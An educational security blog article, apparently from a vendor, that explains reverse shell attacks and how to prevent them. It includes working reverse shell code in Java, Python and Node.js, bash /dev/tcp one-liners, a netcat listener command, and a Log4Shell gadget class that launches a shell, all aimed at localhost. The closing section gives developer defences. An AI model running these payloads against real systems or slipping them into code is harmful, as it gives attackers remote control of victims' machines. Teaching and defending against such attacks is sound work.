Note that the code examples in this article are for educational purposes only. I mainly try to explain what a remote shell attack is and how it can occur in your applications. Using this or any other example to hack someone is not advised. In most countries, hacking without the consent of the target is illegal, even if you have the best intentions.

What is a reverse shell?

A reverse shell (or connect-back shell) is a shell session initiated by the target machine to a remote host. The target machine opens the session to a specific host and port. A shell connection can be created if the remote host listens on that port with the appropriate software. It's important to note that the initiation is done by the target machine,not the remote host.

With a remote shell attack, an attacker tries to make the victim machine initiate such a connection. The attack can establish interactive shell access (basically a terminal) and take over the victim machine.

How does a reverse shell attack happen?

In most cases, a reverse shell attack happens when an application is vulnerable to a remote code execution vulnerability. An attacker uses such a vulnerability in an application to execute some code on the victim's machine that initiates the shell session. Without knowing it, the victim creates a connection and the attacker only has to listen for incoming connections on the correct port. Once the connection is established, the attacker has shell access to the victim and does all sorts of exciting things.

Think of it like a tennis ball. If you throw it at something hard, it will come back at you. You only need to catch it at the right place and time.

Making a reverse shell connection

To create a reverse shell, you have multiple options depending on your language. However, before executing this reverse shell code, we need to make sure that we listen to the correct port for incoming connections.

Listening for incoming connections using netcat

A great tool to do this is netcat. Netcat (often abbreviated to nc) is a computer networking utility for reading from and writing to network connections using TCP or UDP. On the machine you want the reverse shell to connect to, you can use netcat to listen to incoming connections on a specific port. The example below shows how to make netcat listen to port 9001. Note that the v parameter is not strictly needed, but it gives me a nice verbose output.

nc -lvp 9001

Execute a reverse shell in Python, Java or Node.js

Let's discuss two approaches to setting up a reverse shell. Both examples are suitable for systems that have the bash shell installed.

Method 1: Programmatically

The first method is programmatic action where we start up a shell. Next, we create a socket connection to the remote computer with the appropriate IP address and port.

Lastly, we connect the file descriptors (input, output and error) from the shell to the newly created socket connection.

Java:

public static void main(String[] args) throws IOException {
       Process process = new ProcessBuilder("bash").redirectErrorStream(true).start();
       Socket socket = new Socket("127.0.0.1", 9001);
       InputStream pInput = process.getInputStream();
       InputStream pError = process.getErrorStream();
       InputStream sInput = socket.getInputStream();

       OutputStream pOutput = process.getOutputStream();
       OutputStream sOutput = socket.getOutputStream();

       while (!socket.isClosed()) {
           while (pInput.available() > 0) sOutput.write(pInput.read());
           while (pError.available() > 0) sOutput.write(pError.read());
           while (sInput.available() > 0) pOutput.write(sInput.read());
           sOutput.flush();
           pOutput.flush();
       }
}

In this Java example, we route the process's InputStream and ErrorStream to the OutputStream of the remote socket connection. We also need to do this the other way around and write the Socket OutputStream into the Inputstream of the bash process.

Python:

import sys,socket,os,pty;

s = socket.socket();
s.connect(("127.0.0.1",9001));
[os.dup2(s.fileno(),fd) for fd in (0,1,2)];
pty.spawn("bash");

In this Python script, we connect the stdin, stdout and stderr to the socket connection. In Unix-like systems these are the first three file descriptors. Next we use pty to run bash.

Node.js:

var net = require("net");
var cp = require("child_process");
var sh = cp.spawn("bash", []);
var client = new net.Socket();
client.connect(9001, "127.0.0.1", function(){
   client.pipe(sh.stdin);
   sh.stdout.pipe(client);
   sh.stderr.pipe(client);
});

This Node.js example is very similar to the Python example. We run bash and connect the standard file descriptors appropriately to the socket connection.

Method 2: Execute a shell command

The second method is a bit shorter. Most languages have a way to execute shell commands like:

Runtime.getRuntime() in Java
os.system() in Python
require('child_process').exec() in Node.js

We can leverage these functions to call a one-liner shell command that initiates the reverse shell for us.

Java:

public static void main(String[] args) throws IOException {
   String[] cmd = {
           "bash",
           "-c",
           "exec 5<>/dev/tcp/127.0.0.1/9001;cat <&5 | while read line; do $line 2>&5 >&5; done" };

   Runtime.getRuntime().exec(cmd);
}

Python:


import os;

os.system('bash -c "bash -i 5<> /dev/tcp/127.0.0.1/9001 0<&5 1>&5 2>&5"')

Node.js

require('child_process').exec('bash -c "bash -i 5<> /dev/tcp/127.0.0.1/9001 0<&5 1>&5 2>&5"')

When you first execute the netcat command listening to port 9001, before executing this piece of code, you will notice that the connection is established and you can execute shell commands like the one below.

You make a reverse shell connection to yourself with all of the above examples. If you want to do this to a remote machine, you obviously need to change the IP address appropriately. Next, remember that even if you have access, the privilege depends on the user running this code on the victim's machine. To get elevated privileges, you might need to do a bit more.

Creating a reverse shell attack using a remote code execution vulnerability

To create an actual attack with code examples like this, we need to leverage a code execution vulnerability and insert the code into an existing system. A great example is the Log4Shell vulnerability that was discovered in December 2021. It was possible to insert a gadget class that executed code when it was instantiated. Many of the examples showed how to launch the calculator or something harmless. Nevertheless, the code below would create a gadget for this infamous Log4j vulnerability. By exploiting Log4Shell now, you do not start up the calculator anymore but weaponize it into a reversed shell enabler.

public class Evil implements ObjectFactory {

   @Override
   public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
       String[] cmd = {
               "/bin/bash",
               "-c",
               "exec 5<>/dev/tcp/127.0.0.1/9001;cat <&5 | while read line; do $line 2>&5 >&5; done" };

       Runtime.getRuntime().exec(cmd);
       return null;
   }
}

Almost all remote code executions can be used to enable a reverse shell attack. Other recent examples were Spring4Shell and the Apache Commons Configuration RCE. Both examples were not as problematic as Log4Shell, but you can use either to create a reverse shell attack and possibly control a target machine. Therefore, it's essential to prevent that user input from (partially) being executed.

How to prevent reverse shell attacks

If we can prevent an attacker from executing code on your machine, we eliminate almost all possibilities of a reverse shell attack. Let's look at some measures you can take to prevent malicious reverse shell attacks as a developer.

Remove execution statements. Statements in your code that can execute scripts or other pieces of code like exec() should be avoided as much as possible.
Sanitize and validate inpu t. All input must be considered potentially malicious. This is not only direct user input. For instance, when a database field is the input of an execution, somebody can try to attack the database.
Run your application with limited privileges. Don 't run your application as root but create a user with the least privileges needed. This, unfortunately, happens a lot with applications in Docker containers as the default user in a Docker container is root.
Prevent vulnerabilities that enable remote code execution. If a library or framework is compromised, replace it with a secure version.

Almost all remote code executions can be used for a reverse shell attack, even if the use case looks far-fetched.

Snyk can help!

Snyk is a helpful tool for preventing reverse shell attacks by scanning code and dependencies. It points out potential security mistakes in your custom code, and scans your dependencies for known vulnerabilities.